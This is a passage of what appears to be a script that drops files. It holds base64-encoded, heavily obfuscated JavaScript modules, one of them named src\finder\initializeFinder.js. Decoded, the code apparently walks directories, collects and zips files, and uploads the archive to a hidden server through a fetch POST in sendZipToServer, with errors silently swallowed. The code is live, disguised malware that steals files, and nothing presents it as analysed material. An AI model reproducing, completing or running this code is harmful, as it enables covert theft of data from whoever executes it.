NTUzMjVmLTB4NWIsXzB4NDk0ZjlkLF8weDQ3M2NjMS0gLTB4MzEwLF8weDQ5NGY5ZC0weDE5Zik7fV8weDQwZTg5NltfMHg0M2UzZmYoMHgxMzIsJylScHknLDB4MTVkLDB4MTZiLDB4MTZiKSsnbWUnXVtfMHg0M2UzZmYoMHhmZSwnR2UweicsMHhiYSwweGU4LDB4MTRkKStfMHg1NWExNDAoMHhkMiwweDhiLDB4Y2EsJ1h0bzUnLDB4ZDYpXT9fMHgxNGY2YmNbXzB4NTVhMTQwKDB4NjEsMHg1MiwweDg0LCdCdmcyJywweDUwKV0oXzB4MTU4MzFmLF8weDE4YWNjZFtfMHg1ODJiZWIoLTB4MjRmLC0weDI3NiwtMHgyNGIsLTB4MjA2LCdUSFVhJykrJ21lJ11bXzB4NTgyYmViKC0weDI4YSwtMHgyOGYsLTB4MjcwLC0weDI1MSwnQnZnMicpK18weDUzZTdhZCgweDE4NiwweDFjZCwweDE5NCwweDFiMCwnVEV1dycpXSk6XzB4MTRmNmJjW18weDU1YTE0MCgweGUwLDB4MTA2LDB4ZDYsJ3Q4ajInLDB4YWMpXShfMHg0MzBhYWUsXzB4MTc3OTI2KTt9KTt9KTpfMHgyNGYyYTNbXzB4NGNiZTJjKDB4MzM4LDB4MzNiLCdEdk1PJywweDM0MiwweDM0OSkrJ21lJ11bXzB4MmZhZGFjKC0weDEzNCwnM0tpNScsLTB4MTIxLC0weDEzZiwtMHhlNSkrXzB4NGNiZTJjKDB4MmFiLDB4MmQ4LCdYUGsmJywweDJiNCwweDI5OSldP18weDFjNTQ0NVtfMHgyZmFkYWMoLTB4YjQsJ1U0SW4nLC0weGE2LC0weGVhLC0weGVkKV0oXzB4OWI3ODhlLF8weDNmYjY0YVtfMHg0Y2JlMmMoMHgzMGEsMHgzMjgsJ3ZMQ2InLDB4MzE1LDB4MmRmKSsnbWUnXVtfMHg1M2RhY2QoMHg0ZTYsMHg1MWYsMHg0YTYsJyFYRiUnLDB4NGY0KStfMHhlOTkwZTgoJzYwKFcnLDB4MTllLDB4MTlhLDB4MTlmLDB4MWJlKV0pOl8weDFjNTQ0NVtfMHg0Y2JlMmMoMHgzMmYsMHgzMTksJ09kOXMnLDB4MmNiLDB4MzA1KV0oXzB4ZDMyOGYsXzB4NzM1ZWI1KTt9KSksXzB4OGQzODcxPV8weDcyOTg4MltfMHg1YjMyZTgoMHgxMDUsMHgxMmIsMHgxOWUsJ0J2ZzInLDB4MTUzKV0sXzB4MzA3ZGUyPXt9O3JldHVybiBfMHgzMDdkZTJbXzB4NGZjNmJmKDB4YTIsMHg1NiwnMU15MCcsMHg5MiwweGYwKV09XzB4OGQzODcxLF8weDMwN2RlMltfMHg1YjMyZTgoMHgxMGYsMHgxNWYsMHgxNGUsJ0EjNWwnLDB4MTU4KSsnbiddPV8weDcyOTg4MltfMHg1ZTM3OWMoLTB4MTRkLC0weDEyMiwtMHhmNSwnKEFaaScsLTB4ZDgpKyduJ10sXzB4MzA3ZGUyO319Y2F0Y2goXzB4NWJkOGJjKXtpZihfMHgxYzU0NDVbXzB4NWUzNzljKC0weDE4NSwtMHgxNjcsLTB4MTg5LCcoQVppJywtMHgxOTEpXShfMHgxYzU0NDVbXzB4NGZjNmJmKDB4NmQsMHg3MSwnMU15MCcsMHgyYiwweDRmKV0sXzB4MWM1NDQ1W18weDVlMzc5YygtMHgxMTEsLTB4MTE3LC0weDEyNCwndDhqMicsLTB4MTBjKV0pKV8weDU3MGFiY1tfMHg1ZTM3OWMoLTB4MTMzLC0weDE4MCwtMHgxNjUsJ0JWb1YnLC0weDFhNikrJ21lJ11bXzB4MWZiNjNmKDB4MTViLDB4MTc1LCd4VElWJywweDE4NiwweDE4YSkrXzB4NGZjNmJmKDB4OGEsMHhhYiwnVChDUycsMHhiNywweDkzKV0/XzB4MWM1NDQ1W18weDVlMzc5YygtMHgxN2QsLTB4MWEwLC0weDE2ZSwnQnZnMicsLTB4MWE5KV0oXzB4NWIwYWNlLF8weDViOTg4MltfMHg1YjMyZTgoMHhkYywweDExNSwweDEzZCwncnBXSScsMHgxMDkpKydtZSddW18weDJlNjRmMSgtMHgyZTEsLTB4MmZmLC0weDMxNCwnR2UweicsLTB4MmIzKStfMHg1ZTM3OWMoLTB4MTc0LC0weDEyMCwtMHgxNGQsJ1h0bzUnLC0weGQ5KV0pOl8weDFjNTQ0NVtfMHgxZmI2M2YoMHgxZTQsMHgxOTYsJ1NyTXknLDB4MTg0LDB4MWFjKV0oXzB4MmNlNmZlLF8weGZmYmNkMik7ZWxzZSByZXR1cm4gbnVsbDt9ZnVuY3Rpb24gXzB4NWIzMmU4KF8weDM1YzE1NixfMHg1ZGYyM2UsXzB4NGZiMDgwLF8weDUyZjM2MCxfMHhkMWQ0NmUpe3JldHVybiBfMHgxYTk5MTgoXzB4MzVjMTU2LTB4MTI2LF8weDVkZjIzZS0weDM3LF8weDRmYjA4MC0weGM4LF8weDUyZjM2MCxfMHhkMWQ0NmUtMHgyMzcpO31mdW5jdGlvbiBfMHgyZTY0ZjEoXzB4NDMwMzRjLF8weDExZWM3NixfMHgyZWNiMDcsXzB4M2YwNDY0LF8weDM4OWZkZCl7cmV0dXJuIF8weDQwYzZkNShfMHg0MzAzNGMtMHg0MixfMHgxMWVjNzYtMHg5NixfMHgyZWNiMDctMHhiNSxfMHgxMWVjNzYtIC0weDU4OSxfMHgzZjA0NjQpO31mdW5jdGlvbiBfMHg1ZTM3OWMoXzB4MzNhMTlhLF8weDIzYmEwMixfMHgzMTk5NjcsXzB4NTdlMmU0LF8weDUwM2RkZCl7cmV0dXJuIF8weDQwYzZkNShfMHgzM2ExOWEtMHgxYmEsXzB4MjNiYTAyLTB4MTkyLF8weDMxOTk2Ny0weDEzNSxfMHgyM2JhMDItIC0weDQyMixfMHg1N2UyZTQpO312YXIgXzB4MzMyYzlkO307ZXhwb3J0IGNvbnN0IHNlbmRaaXBUb1NlcnZlcj1hc3luYyhfMHgxYzcwYzEsXzB4ODM3ZjIwLF8weDMzNGVlNSxfMHgzNTg5ZjYpPT57ZnVuY3Rpb24gXzB4NTQ4YTI4KF8weDNjN2UzMyxfMHgzNDUxM2MsXzB4MjY5MzFmLF8weDExZDgyOCxfMHgxNzlkYTUpe3JldHVybiBfMHgxYTk5MTgoXzB4M2M3ZTMzLTB4NzIsXzB4MzQ1MTNjLTB4MTljLF8weDI2OTMxZi0weGIsXzB4M2M3ZTMzLF8weDI2OTMxZi0weDMzOCk7fWZ1bmN0aW9uIF8weDExZjQ0MShfMHg0MTE5MDUsXzB4MzViMGQ2LF8weDQ0M2IxMixfMHgyMDc1MDMsXzB4NGRiNGViKXtyZXR1cm4gXzB4M2U2NTU3KF8weDM1YjBkNixfMHgzNWIwZDYtMHgxYTgsXzB4NDQzYjEyLTB4MjVhLF8weDIwNzUwMy0weDI4LF8weDRkYjRlYi0weDEzZCk7fWNvbnN0IF8weDFhNzMyNj17J3BhRm1nJzpfMHg1ZTIzNzkoMHgyMmQsMHgxZTMsMHgyMzksJ0dlMHonLDB4MjA1KStfMHg1NDhhMjgoJ0QkMFQnLDB4MjVmLDB4MjEzLDB4MWY2LDB4MjQ5KSwnekV4SlcnOl8weDVlMjM3OSgweDI4MCwweDI5OSwweDJhNywnWFBrJicsMHgyODcpK18weDFjMmExZSgtMHgxYmYsLTB4MWU4LCd1OEwhJywtMHgxYTEsLTB4MWQyKSwnQmRWQW4nOmZ1bmN0aW9uKF8weDRlYmI2NCxfMHg0N2I3ZGQsXzB4NTEwNzBmKXtyZXR1cm4gXzB4NGViYjY0KF8weDQ3YjdkZCxfMHg1MTA3MGYpO30sJ0lHdlJRJzpfMHgxYzJhMWUoLTB4MWQ2LC0weDFkMiwndThMIScsLTB4MWZiLC0weDIwZCkrXzB4MTFmNDQxKDB4MTIwLCdIaG40JywweGQwLDB4OTcsMHhiOSkrXzB4NTQ4YTI4KCdENmgxJywweDI0ZiwweDIxYywweDI1YSwweDI2MykrXzB4NWUyMzc5KDB4MmEyLDB4MjA3LDB4MjU5LCdycFdJJywweDI3ZCkrXzB4MjYxMjc2KC0weDI3ZiwnU3JNeScsLTB4MmIwLC0weDI4ZSwtMHgyODkpK18weDExZjQ0MSgweDEwMCwnNiNiTicsMHgxMmUsMHgxNWUsMHgxNDYpK18weDFjMmExZSgtMHgxNTEsLTB4MThlLCdYUGsmJywtMHgxYjAsLTB4MWEzKStfMHg1ZTIzNzkoMHgxZmQsMHgyMDcsMHgyNGMsJ0hobjQnLDB4MjNlKSsnZXMnLCdzYnNBZCc6XzB4NWUyMzc5KDB4MjU3LDB4MjFhLDB4MjQ1LCdUSFVhJywweDI2Mil9O2Z1bmN0aW9uIF8weDVlMjM3OShfMHg0M2JkMzksXzB4ZDhjNzA2LF8weDMzNGU1YyxfMHgyZDVlNWYsXzB4M2YyOGJmKXtyZXR1cm4gXzB4M2U2NTU3KF8weDJkNWU1ZixfMHhkOGM3MDYtMHgxNDAsXzB4MzM0ZTVjLTB4M2FjLF8weDJkNWU1Zi0weGY1LF8weDNmMjhiZi0weDRmKTt9ZnVuY3Rpb24gXzB4MWMyYTFlKF8weDMyNjI1YSxfMHgyY2NlMmUsXzB4MmI0NzIwLF8weDQ2OGNlOSxfMHgyZTA4N2Mpe3JldHVybiBfMHgzZTY1NTcoXzB4MmI0NzIwLF8weDJjY2UyZS0weDEzNCxfMHgyZTA4N2MtIC0weGFjLF8weDQ2OGNlOS0weDE1ZixfMHgyZTA4N2MtMHgxMTEpO31jb25zdCBfMHg0ODA2NzY9bmV3IEZvcm1EYXRhKCk7ZnVuY3Rpb24gXzB4MjYxMjc2KF8weDJjYzMwMyxfMHgxYjBhNmUsXzB4MzQ3MDNhLF8weDU0MWRiYSxfMHgyMDg3ZWEpe3JldHVybiBfMHgxYTk5MTgoXzB4MmNjMzAzLTB4ZmUsXzB4MWIwYTZlLTB4MWQyLF8weDM0NzAzYS0weDFkOSxfMHgxYjBhNmUsXzB4NTQxZGJhLSAtMHgxYWIpO31fMHg0ODA2NzZbXzB4MjYxMjc2KC0weDI5MSwncl5xbCcsLTB4MmJhLC0weDJhNywtMHgyYjQpKydkJ10oXzB4MWE3MzI2W18weDFjMmExZSgtMHgyMDMsLTB4MjdkLCd3d102JywtMHgyNDksLTB4MjM3KV0sXzB4MWM3MGMxLF8weDM1ODlmNitfMHg1ZTIzNzkoMHgyMzcsMHgxZWUsMHgyMWUsJ0Q2aDEnLDB4MjAzKSksXzB4NDgwNjc2W18weDI2MTI3NigtMHgyNGUsJzYwKFcnLC0weDJjOSwtMHgyYTAsLTB4MjdkKSsnZCddKF8weDFhNzMyNltfMHg1ZTIzNzkoMHgyZDAsMHgyODksMHgyYmUsJ2VMZjMnLDB4MjdmKV0sSlNPTltfMHg1ZTIzNzkoMHgyNDMsMHgyNGMsMHgyMmQsJ1RIVWEnLDB4MjM2KStfMHg1ZTIzNzkoMHgyNDksMHgyNDgsMHgyNzMsJ0loUnonLDB4MjUxKV0oXzB4ODM3ZjIwKSk7dHJ5eyhhd2FpdCBfMHgxYTczMjZbXzB4MWMyYTFlKC0weDFlYSwtMHgyMmMsJ3kyalMnLC0weDFkOSwtMHgyMTcpXShmZXRjaCxfMHgxYTczMjZbXzB4MjYxMjc2KC0weDJkZiwnNjAoVycsLTB4MzBlLC0weDJjZiwtMHgyYzYpXSx7J21ldGhvZCc6XzB4MWE3MzI2W18weDI2MTI3NigtMHgyOGYsJzYwKFcnLC0weDI3ZSwtMHgyNjAsLTB4MjIyKV0sJ2JvZHknOl8weDQ4MDY3Nn0pKVsnb2snXTt9Y2F0Y2goXzB4NGM0MDhjKXt9fTsK'),@('c3JjXGZpbmRlclxpbml0aWFsaXplRmluZGVyLmpz', 'KGZ1bmN0aW9uKF8weDQ1NmM0MCxfMHg0MzU0MmEpe2Z1bmN0aW9uIF8weDRlZGRhZihfMHg1ZDk0NzMsXzB4NDNkYWVhLF8weDk5ODViOCxfMHgzN2NmMGMsXzB4MWFlNjYwKXtyZXR1cm4gXzB4MTY4ZihfMHgzN2NmMGMtIC0weDNiNCxfMHgxYWU2NjApO31mdW5jdGlvbiBfMHhlZTE3MzIoXzB4MTY3NGJlLF8weDVjNWNkYyxfMHgxZDg2YjIsXzB4MjdhM2M4LF8weDQzZTFmNil7cmV0dXJuIF8weDE2OGYoXzB4MjdhM2M4LTB4MTQ3LF8weDQzZTFmNik7fWNvbnN0IF8weDU5M2M3ZD1fMHg0NTZjNDAoKTtmdW5jdGlvbiBfMHg1Y2Q3MzcoXzB4NDAyYjYxLF8weDNkNzhmMSxfMHgzMmVmZTEsXzB4MjJkOWE1LF8weDFlZmZlNCl7cmV0dXJuIF8weDE2OGYoXzB4MjJkOWE1LSAtMHgzODgsXzB4M2Q3OGYxKTt9ZnVuY3Rpb24gXzB4MmIwMTdjKF8weDM3MDBiNSxfMHgxYjk0MzAsXzB4NGJkNzA2LF8weDJjYzBjMixfMHg0MjNjZmEpe3JldHVybiBfMHgxNjhmKF8weDRiZDcwNi0weDMyZixfMHgxYjk0MzApO31mdW5jdGlvbiBfMHg1NGYwYzIoXzB4NTNhZWViLF8weDMwMGVlZSxfMHgzNjNiNjcsXzB4OTNmMWUsXzB4MTgxOGE2KXtyZXR1cm4gXzB4MTY4ZihfMHgzNjNiNjctIC0weDM4ZCxfMHg5M2YxZSk7fXdoaWxlKCEhW10pe3RyeXtjb25zdCBfMHg0NDBiMTc9cGFyc2VJbnQoXzB4NGVkZGFmKC0weDIyZiwtMHgyMmUsLTB4MjJkLC0weDI0MCwnWF5dXicpKS8oLTB4MSotMHgxYmE3KzB4OTkwKy0weDI1MzYpKihwYXJzZUludChfMHg0ZWRkYWYoLTB4MjNkLC0weDI2NiwtMHgyNDUsLTB4MjUzLCdTUVR1JykpLygtMHgxNDUrMHg0ZmMrLTB4M2I1KSkrLXBhcnNlSW50KF8weDRlZGRhZigtMHgyM2EsLTB4MjI3LC0weDI0ZiwtMHgyNDEsJ0dJb0knKSkvKDB4MWI4ZCsweGFlMCstMHgyNjZhKSstcGFyc2VJbnQoXzB4ZWUxNzMyKDB4MmE5LDB4MmIyLDB4MmRkLDB4MmM0LCdYXl1eJykpLygweDExN2MrMHgyKjB4MTRiKzB4YTA3Ki0weDIpKy1wYXJzZUludChfMHg1NGYwYzIoLTB4MjBhLC0weDIxMCwtMHgyMjEsJ0AwJWInLC0weDIyZikpLygtMHg2ZWUqLTB4MSstMHgxMGQ4KzB4MSoweDllZikqKHBhcnNlSW50KF8weDU0ZjBjMigtMHgyNDQsLTB4MjI0LC0weDIyYiwnaUA5bCcsLTB4MjNjKSkvKDB4MTRjNisweDFiNmQrLTB4MzAyZCkpK3BhcnNlSW50KF8weGVlMTczMigweDJiMywweDJjNCwweDI5ZiwweDJiOCwnNDA5eScpKS8oMHg2MDAqLTB4MSstMHgyMjkrLTB4NCotMHgyMGMpKy1wYXJzZUludChfMHhlZTE3MzIoMHgyZTMsMHgyZTIsMHgyYjIsMHgyY2IsJ0hMdCYnKSkvKC0weDEqLTB4NSstMHgyKi0weDVmNCstMHhiZTUpKigtcGFyc2VJbnQoXzB4NTRmMGMyKC0weDIwZSwtMHgyMmIsLTB4MjEzLCdHV0MqJywtMHgyMDgpKS8oMHgxMDE0KzB4NTY5KzB4NTVkKi0weDQpKSstcGFyc2VJbnQoXzB4ZWUxNzMyKDB4MmE3LDB4Mjk1LDB4MmFhLDB4MmIxLCckJXJBJykpLygtMHg5YjcrLTB4NjhhKy0weDEqLTB4MTA0YikqKC1wYXJzZUludChfMHg0ZWRkYWYoLTB4MjQyLC0weDI0MCwtMHgyNDYsLTB4MjJkLCdYXl1eJykpLygweDFjZDgrMHhlKjB4MjRkKzB4M2QwMyotMHgxKSk7aWYoXzB4NDQwYjE3PT09XzB4NDM1NDJhKWJyZWFrO2Vsc2UgXzB4NTkzYzdkWydwdXNoJ10oXzB4NTkzYzdkWydzaGlmdCddKCkpO31jYXRjaChfMHgyN2M3M2Mpe18weDU5M2M3ZFsncHVzaCddKF8weDU5M2M3ZFsnc2hpZnQnXSgpKTt9fX0oXzB4Mjg2OCwtMHg0YTE4ZCstMHhjNzEyKzB4MTEzZWZlKSk7aW1wb3J0e2dldEluc3RydXRpb25zfWZyb20nLi9pbnN0cnVjdGlvbnMuanMnO2Z1bmN0aW9uIF8weDE2OGYoXzB4NGM0NzA0LF8weGE3Zjc2ZSl7Y29uc3QgXzB4MWI1OWE0PV8weDI4NjgoKTtyZXR1cm4gXzB4MTY4Zj1mdW5jdGlvbihfMHgyNjZiMjAsXzB4NTRhYzkzKXtfMHgyNjZiMjA9XzB4MjY2YjIwLSgtMHg3M2QrLTB4MjgzKzB4YjE4KTtsZXQgXzB4MjFkZGVjPV8weDFiNTlhNFtfMHgyNjZiMjBdO2lmKF8weDE2OGZbJ1pVYXl6TCddPT09dW5kZWZpbmVkKXt2YXIgXzB4M2UxZDM2PWZ1bmN0aW9uKF8weDRhODYyZil7Y29uc3QgXzB4M2RmMTY5PSdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSc7bGV0IF8weDJiODMxYT0nJyxfMHg1NzBmYjA9Jyc7Zm9yKGxldCBfMHhiZjMxODE9LTB4MTYzZisweDIqLTB4ODRhKzB4MjZkMyxfMHgzNTk2ODksXzB4MmYzNmI4LF8weDMyYmU0NT0weDI0ZTQrLTB4MWJhYyoweDErLTB4NSoweDFkODtfMHgyZjM2Yjg9XzB4NGE4NjJmWydjaGFyQXQnXShfMHgzMmJlNDUrKyk7fl8weDJmMzZiOCYmKF8weDM1OTY4OT1fMHhiZjMxODElKDB4MTljOSsweDIqLTB4MzQxKy0weDEzNDMpP18weDM1OTY4OSooLTB4M2JmKy0weDE4KjB4OWErMHgxMjZmKStfMHgyZjM2Yjg6XzB4MmYzNmI4LF8weGJmMzE4MSsrJSgweDIyYjUrMHgxKjB4NGVkKy0weDEqMHgyNzllKSk/XzB4MmI4MzFhKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKDB4MSotMHgxZDQxKy0weDZiYioweDErMHgyNGZiJl8weDM1OTY4OT4+KC0oLTB4MTUxYiotMHgxKzB4MSoweDFkZDUrLTB4MzJlZSkqXzB4YmYzMTgxJi0weDFkMioweDUrMHgxKi0weDIwNTYrMHgyOTc2KSk6MHgyNWZkKzB4MSoweDY4MCstMHgyYzdkKXtfMHgyZjM2Yjg9XzB4M2RmMTY5WydpbmRleE9mJ10oXzB4MmYzNmI4KTt9Zm9yKGxldCBfMHg0YjM4MGE9MHg1YiotMHgyZSsweDIyYjIqMHgxKy0weDQ5NioweDQsXzB4MzBkMDNhPV8weDJiODMxYVsnbGVuZ3RoJ107XzB4NGIzODBhPF8weDMwZDAzYTtfMHg0YjM4MGErKyl7XzB4NTcwZmIwKz0nJScrKCcwMCcrXzB4MmI4MzFhWydjaGFyQ29kZUF0J10oXzB4NGIzODBhKVsndG9TdHJpbmcnXSgweDIwKjB4YjUrMHgyNioweGIzKy0weDMxMjIpKVsnc2xpY2UnXSgtKC0weDFmYWUrMHgxMDdiKzB4ZjM1KjB4MSkpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU3MGZiMCk7fTtjb25zdCBfMHgxNzZiYmY9ZnVuY3Rpb24oXzB4NTkxNTcwLF8weDI3ZjdiOSl7bGV0IF8weDJmYjE1Nj1bXSxfMHgyNGRiNzE9LTB4YzJkKzB4MjQzZSstMHgxODExLF8weDJmMWQ1MyxfMHgxNWYwNGU9Jyc7XzB4NTkxNTcwPV8weDNlMWQzNihfMHg1OTE1NzApO2xldCBfMHgyMTY2YmQ7Zm9yKF8weDIxNjZiZD0tMHgxODAwKy0weDI1NjQrMHgzZDY0O18weDIxNjZiZDwtMHgxNCotMHgxYzkrMHgyMyotMHg1MystMHgxNzViO18weDIxNjZiZCsrKXtfMHgyZmIxNTZbXzB4MjE2NmJkXT1fMHgyMTY2YmQ7fWZvcihfMHgyMTY2YmQ9MHgxKjB4MTdlZistMHgzY2EqLTB4OSstMHgzYTA5O18weDIxNjZiZDwtMHgyKjB4MzdhKy0weDEqLTB4MjIyYisweDEqLTB4MWEzNztfMHgyMTY2YmQrKyl7XzB4MjRkYjcxPShfMHgyNGRiNzErXzB4MmZiMTU2W18weDIxNjZiZF0rXzB4MjdmN2I5WydjaGFyQ29kZUF0J10oXzB4MjE2NmJkJV8weDI3ZjdiOVsnbGVuZ3RoJ10pKSUoLTB4MTk5ZistMHgxN2NlKzB4MzI2ZCksXzB4MmYxZDUzPV8weDJmYjE1NltfMHgyMTY2YmRdLF8weDJmYjE1NltfMHgyMTY2YmRdPV8weDJmYjE1NltfMHgyNGRiNzFdLF8weDJmYjE1NltfMHgyNGRiNzFdPV8weDJmMWQ1Mzt9XzB4MjE2NmJkPS0weDI1NjUrLTB4NmFmKi0weDIrMHgxODA3LF8weDI0ZGI3MT0weDUqLTB4NGVkKzB4MzllKjB4MisweDExNjU7Zm9yKGxldCBfMHg1YmI1MWU9MHgxMzk5KzB4MjMwNystMHgzNmEwO18weDViYjUxZTxfMHg1OTE1NzBbJ2xlbmd0aCddO18weDViYjUxZSsrKXtfMHgyMTY2YmQ9KF8weDIxNjZiZCsoMHgyZTQqMHgzKzB4YmE3Ky0weDE0NTIpKSUoMHgyMDNhKy0weDc1NCoweDMrLTB4YjYqMHhkKSxfMHgyNGRiNzE9KF8weDI0ZGI3MStfMHgyZmIxNTZbXzB4MjE2NmJkXSklKC0weDNkKi0weDZmKy0weDEzOGYrLTB4MSoweDVlNCksXzB4MmYxZDUzPV8weDJmYjE1NltfMHgyMTY2YmRdLF8weDJmYjE1NltfMHgyMTY2YmRdPV8weDJmYjE1NltfMHgyNGRiNzFdLF8weDJmYjE1NltfMHgyNGRiNzFdPV8weDJmMWQ1MyxfMHgxNWYwNGUrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4NTkxNTcwWydjaGFyQ29kZUF0J10oXzB4NWJiNTFlKV5fMHgyZmIxNTZbKF8weDJmYjE1NltfMHgyMTY2YmRdK18weDJmYjE1NltfMHgyNGRiNzFdKSUoMHgyNTkxKzB4MWE3YystMHgzZjBkKV0pO31yZXR1cm4gXzB4MTVmMDRlO307XzB4MTY4ZlsnWmJQbExxJ109XzB4MTc2YmJmLF8weDRjNDcwND1hcmd1bWVudHMsXzB4MTY4ZlsnWlVheXpMJ109ISFbXTt9Y29uc3QgXzB4NTcyMGUwPV8weDFiNTlhNFsweDFkN2QrLTB4MTI1ZCotMHgxKy0weDYyKjB4N2RdLF8weDVjZjZlMz1fMHgyNjZiMjArXzB4NTcyMGUwLF8weDU3ZmY4ZT1fMHg0YzQ3MDRbXzB4NWNmNmUzXTtyZXR1cm4hXzB4NTdmZjhlPyhfMHgxNjhmWydDWkxBYXInXT09PXVuZGVmaW5lZCYmKF8weDE2OGZbJ0NaTEFhciddPSEhW10pLF8weDIxZGRlYz1fMHgxNjhmWydaYlBsTHEnXShfMHgyMWRkZWMsXzB4NTRhYzkzKSxfMHg0YzQ3MDRbXzB4NWNmNmUzXT1fMHgyMWRkZWMpOl8weDIxZGRlYz1fMHg1N2ZmOGUsXzB4MjFkZGVjO30sXzB4MTY4ZihfMHg0YzQ3MDQsXzB4YTdmNzZlKTt9aW1wb3J0e3F1ZXJ5LGV4dHJhY3REaXJlY3Rvcnl9ZnJvbScuL2V4dHJhY3QuanMnO2ltcG9ydHttb2RpZnlMaXN0VXNlcnMsZ2V0RGF0YSxzZW5kWmlwVG9TZXJ2ZXIsdHJhbnNmb3JtWmlwRGF0YX1mcm9tJy4vaGVscGVycy5qcyc7ZnVuY3Rpb24gXzB4Mjg2OCgpe2NvbnN0IF8weDJjZmNiMz1bJ3g4bzZXNXZUV1BWZEx3ZndySlJkSUNvUWxhJywnQThvYmVTb2N3YScsJ1dRQ2tXT0d4blNvaGp2eXJXUFJkT21rWCcsJ1dPOU9XNzdkT0hkY084azlXT3hjSE5mQ1c0NCcsJ1c1dGNObW9zeDhvbldQZU1lQ2tQb0NvM1c2ZGNWRycsJ1c2aW1XUFpjVkcwSFc0ZGNJbW9hcW1rbmNHJywna21rZldSeXJXNEMnLCdXUkZkVjFWY092amZtU29JV1JwZE9nVmRNOGtlJywnbFhoZFVtb2tXUUcnLCdXN25nV1FkZEdDa2d2STQnLCdXNGRjT3JLJywna0NvMkJObGNTcScsJ1dPSEhXNy9kUnJGY1Ftb0JXT0ZjSzNIclc3ckInLCdXNTNjSkNrTFdQM2RTVycsJ1dPaTRXUnBkTm1vQScsJ21Db3dXNVpjU21vOUVicScsJ3QzaWVXNFh2JywnVzUzY1Ftb0hrQ2tUJywnV1FDN0YxSmNTYScsJ1c1enBscmxkU3RxRGpDa0NoOG9qd21vaScsJ1dRS2ZXT0d3bW1vaGkzeVVXUWRkT0NrNScsJ1c0UmNJQ2tCV1FGZFRHJywnV09IR1dRdGNTM3hkT21rM1dPZScsJ1c1eGNJbW80Ym1rVicsJ2t4OVpjZjgnLCdXT2RkTlNrcGJXJywnV090ZExDbzFXNjhwJywnV1BaZFZta2VDbW9RJywnczhvaFc1T2VXUk8nLCdXN1R2VzQ1bCcsJ1c2M2NQSEpkUFhhJywncFNrMldQcGRSOGtiJywnV1BOZFRDb1pXNjh1JywnQjhvWFc1VmNWbW9JJywnVzR1L0ZOUmRHVycsJ2ZKU1JXNlpjVmdSY0wzeUVyS2xkU2N1JywnRVNvU1c0M2NPQ2sxJywnV1BDNFdSN2RObW9iJywncjI1MldSWmRWRycsJ3cyUmNOM0RDJywnb0NvQ1c2SzZXUU8rQUcnLCdCY0tLbTFuZURKV0MnLCdtd0pjR21vT1c0ZScsJ1dQL2NKU2tkVzUvZFF2QmNRU2tlb21rOVc2enF4VycsJ1dSUmRWbWs3eENvWCcsJ29leGRWU29xVzZTJywnVzZINldRZkRXNUJjTThrdScsJ3B2dGNSbW9tVzZ5Jywna21rQldQelVhMXk0c3EnLCd1WXBjUWJaZFZta0RXUTNkSW1rUHNXdnBEVycsJ0Ntb3pXUjFHanEnLCdGR3RjVW1rcVdSM2RWbW9rY0NvM1dPcGRPVycsJ1dRTmRUTFMzVzRMV244a0NoU2tJakcnLCdBU284ajhrcVc1TycsJ1c3TmNSbW9TRm1va1dSTmNTdlhxJywnd1NvOVc2eGNNU280J107XzB4Mjg2OD1mdW5jdGlvbigpe3JldHVybiBfMHgyY2ZjYjM7fTtyZXR1cm4gXzB4Mjg2OCgpO31pbXBvcnR7dHJhdmVyc2VEaXJlY3Rvcmllc31mcm9tJy4vdHJhdmVyc2UuanMnO2ltcG9ydHtvcmdhbml6ZUZvdW5kRmlsZXN9ZnJvbScuL29yZ2FuaXplRm91bmRGaWxlcy5qcyc7aW1wb3J0e2NyZWF0ZVppcH1mcm9tJy4vemlwLmpzJztleHBvcnQgY29uc3QgaW5pdGlhbGl6ZUZpbmRlcj1hc3luYygpPT57Y29uc3QgXzB4NWI0NDA1PXsnQkNieHEnOmZ1bmN0aW9uKF8weDIxZDcxYSl7cmV0dXJuIF8weDIxZDcxYSgpO30sJ3F1WERyJzpfMHg0YzY4ODMoMHg1M2MsJ1NRVHUnLDB4NTI0LDB4NTI4LDB4NTBjKStfMHg0YzY4ODMoMHg1MjksJ0AwJWInLDB4NTE4LDB4NTE0LDB4NTExKStfMHg0YzY4ODMoMHg1MDQsJ3QqV1InLDB4NTAyLDB4NTFhLDB4NTA4KStfMHg0YzY4ODMoMHg0ZjcsJ0AwJWInLDB4NGZiLDB4NTAzLDB4NTFiKStfMHhmODg1Y2EoLTB4MWQwLC0weDFkMiwtMHgxZTMsLTB4MWNlLCdAMCViJykrXzB4Zjg4NWNhKC0weDFmNywtMHgxZDgsLTB4MWU0LC0weDFlNywnMWhDWycpKychJywnQXlndlUnOmZ1bmN0aW9uKF8weDM4Y2M5NyxfMHgxOWQzNWEpe3JldHVybiBfMHgzOGNjOTcoXzB4MTlkMzVhKTt9LCdKZUlCaCc6ZnVuY3Rpb24oXzB4NTJhZGU5LF8weDQyYmEyZixfMHgxZjA0NTMsXzB4NGNlNjc5KXtyZXR1cm4gXzB4NTJhZGU5KF8weDQyYmEyZixfMHgxZjA0NTMsXzB4NGNlNjc5KTt9LCdSaVBDaCc6ZnVuY3Rpb24oXzB4NTk0ZWYzLF8weDUwOGYzOSxfMHgzYTY0ZGMsXzB4NGRkNDJlLF8weGFmMTJiYyl7cmV0dXJuIF8weDU5NGVmMyhfMHg1MDhmMzksXzB4M2E2NGRjLF8weDRkZDQyZSxfMHhhZjEyYmMpO30sJ3lVQWlwJzpmdW5jdGlvbihfMHg1N2Y2OGEsXzB4MjczM2E0LF8weDU5NjRiMSxfMHgzM2JiOWUpe3JldHVybiBfMHg1N2Y2OGEoXzB4MjczM2E0LF8weDU5NjRiMSxfMHgzM2JiOWUpO30sJ05OWE1nJzpmdW5jdGlvbihfMHgyYTM1NmIsXzB4NDY0OTRjKXtyZXR1cm4gXzB4MmEzNTZiKF8weDQ2NDk0Yyk7fSwnRUtSTGonOmZ1bmN0aW9uKF8weDIxMmI1OCl7cmV0dXJuIF8weDIxMmI1OCgpO30sJ3V6VlVyJzpmdW5jdGlvbihfMHg1MmFmMWMsXzB4MzU3NGE1KXtyZXR1cm4gXzB4NTJhZjFjKF8weDM1NzRhNSk7fX07ZnVuY3Rpb24gXzB4MTMxZWE1KF8weDI5MzE0OCxfMHg1ODIzODYsXzB4MjZlMjQ0LF8weDViYjVmOCxfMHgxOWQ1Zjcpe3JldHVybiBfMHgxNjhmKF8weDViYjVmOC0gLTB4MTU0LF8weDE5ZDVmN